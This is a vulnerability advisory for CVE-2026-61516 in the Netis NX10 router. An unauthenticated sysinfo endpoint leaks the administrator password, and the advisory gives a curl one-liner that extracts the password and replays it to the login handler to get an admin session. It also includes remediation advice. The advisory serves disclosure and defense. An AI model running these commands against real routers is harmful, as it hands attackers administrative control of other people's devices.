> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CVE-2026-61516: Administrator Credential Disclosure in Netis NX10

> The unauthenticated sysinfo endpoint in the Netis NX10 web interface discloses the stored administrator password.

## Summary

The `sysinfo` action exposed through `/web/cgi-bin/skk_get.cgi` returns the Netis NX10 administrator password without requiring a session. The login handler accepts the disclosed stored value directly, allowing an unauthenticated attacker who can reach the management interface to establish an administrator session.

| Field              | Details                                                                                   |
| ------------------ | ----------------------------------------------------------------------------------------- |
| CVE                | CVE-2026-61516                                                                            |
| Product            | Netis NX10 (AX1500 Wi-Fi 6 router)                                                        |
| Weaknesses         | CWE-200: Exposure of Sensitive Information; CWE-522: Insufficiently Protected Credentials |
| Confirmed firmware | V4.0.1.5808 and V3.0.0.4142                                                               |
| Required access    | No authentication; network access to the web interface                                    |
| CVSS               | Pending CNA publication                                                                   |
| Fix status         | No vendor fix confirmed                                                                   |

<Note>
  VulnCheck assigned this ID and stated that it will populate the CVE record after public disclosure. The public record was not yet available when this advisory was published.
</Note>

## Affected components

* `/web/cgi-bin/skk_get.cgi` — exposes the unauthenticated `sysinfo` action
* `/web/cgi-bin/login.cgi` — accepts the disclosed stored credential value

## Technical details

The login page calls `skk_get.cgi?sysinfo` before authentication to obtain device state. The response contains the administrator password alongside the information needed by the page. The endpoint does not require a session cookie:

```http wrap theme={null}
GET /web/cgi-bin/skk_get.cgi?sysinfo HTTP/1.1
Host: 192.168.1.1
```

The response includes the sensitive value:

```json wrap theme={null}
{
  "password": "<stored-admin-password>",
  "...": "..."
}
```

The value can be replayed directly to the login handler:

```bash wrap theme={null}
PW=$(curl -s "http://ROUTER/web/cgi-bin/skk_get.cgi?sysinfo" \
  | grep -oE '"password":"[^"]*"' \
  | cut -d'"' -f4)

curl -s -c ./jar -X POST \
  "http://ROUTER/web/cgi-bin/login.cgi" \
  --data-urlencode "password=$PW"
```

The cookie jar then contains an authenticated administrator session.

## Impact

An unauthenticated attacker can obtain the router's administrator credential and access every web-management function available to the administrator. This vulnerability also supplies the authentication prerequisite for [CVE-2026-61517](/research/advisories/netis/cve-2026-61517), turning the command-injection finding into an unauthenticated root-compromise chain.

The interface is reachable from the LAN by default and may be WAN-accessible when remote management is enabled.

## Remediation

The `sysinfo` response must never include passwords, hashes, session material, or other reusable credentials. Return only the minimum nonsensitive state required by the login page. Sensitive configuration endpoints should also require an authenticated and authorized session.

Changing the administrator password alone is not sufficient because the endpoint would disclose the replacement value.

## References

* [Research article: Netis NX10 unauthenticated root RCE chain](/research/netis/2026-09)
* [Netis NX10 product page](https://www.netis-systems.com/products/NX10.html)
* [Netis NX10 V3 firmware download](https://www.netis-systems.com/support/downinfo.html?id=33)
* [Netis NX10 V4 firmware download](https://www.netisru.com/support/downinfo.html?id=33)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-61516)